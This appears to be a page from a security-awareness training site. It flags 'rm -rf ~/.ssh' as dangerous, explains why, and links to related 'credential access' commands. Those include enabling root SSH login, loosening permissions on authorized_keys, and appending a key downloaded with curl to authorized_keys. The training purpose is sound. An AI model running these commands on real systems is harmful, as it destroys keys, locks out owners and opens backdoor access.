Dangerous
rm -rf ~/.sshcross-platform · bash · Beginner
Deletes the entire SSH directory: private keys, known hosts, and config. The private keys are not recoverable, and any server that only trusts those keys becomes unreachable from this machine.
Signals to notice
- removes private keys that exist in no other location
- known_hosts and config go with them, so host verification is lost too
Think you can spot these under time pressure?
Start TrainingMore Credential Access
mv /etc/passwd /tmp/passwd.bakIntermediatechmod 600 ~/.ssh/id_ed25519Intermediatechmod 777 ~/.ssh/authorized_keysAdvancedmv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediatesed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvancedcurl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpert